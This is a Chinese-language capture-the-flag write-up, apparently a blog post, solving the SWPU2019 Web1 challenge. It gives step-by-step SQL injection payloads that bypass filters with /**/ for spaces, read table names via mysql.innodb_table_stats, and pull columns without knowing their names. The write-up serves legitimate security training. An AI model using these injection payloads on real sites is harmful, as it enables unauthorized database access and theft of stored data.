[SWPU2019]Web1

[SWPU2019]Web1

首先打开题目发现是一个登陆界面,尝试sql注入没有效果

发现可以注册就随便注册一个用户登陆

发现有一个广告申请发布

在这里插入图片描述

对这个广告申请发布进行各种注入攻击,发现有sql注入

在这里插入图片描述

点击广告详情发现sql语句报错:

在这里插入图片描述

就住它进行注入发现有过滤:

在这里插入图片描述

然后测试发现:过滤了空格,or,and,注释,updatexml,extractvalue

所以我们采用union注入,空格用/**/代替,注释采取单引号闭合

因为过滤了or

所有我们采用:

1'/**/group/**/by/**/1,'1

检测有几个字段最终在23处发现报错:

在这里插入图片描述

然后找出回显点:

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

发现在2,3处

在这里插入图片描述

查看当前数据库:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到:

在这里插入图片描述

获取表面

因为过滤了or所有information就不能用

我们采取mysql.innodb_table_stats来获取表名

获取表名:

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

发现有两张表,先看users表,但是没有字段名

这里采取无字段名注入

原理参考这篇博客:
https://www.jianshu.com/p/dc9af4ca2d06

先获取users有几个字段用:

-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到:
在这里插入图片描述

得到字段值为3

获取表字段值

第一个字段值:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1/**/as/**/b,2,3/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到:

在这里插入图片描述

获取第二个字段:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到:
在这里插入图片描述
发现flag

在查看第三个字段:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到flag:

在这里插入图片描述
参考博客:

https://blog.csdn.net/weixin_45642610/article/details/114748031
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值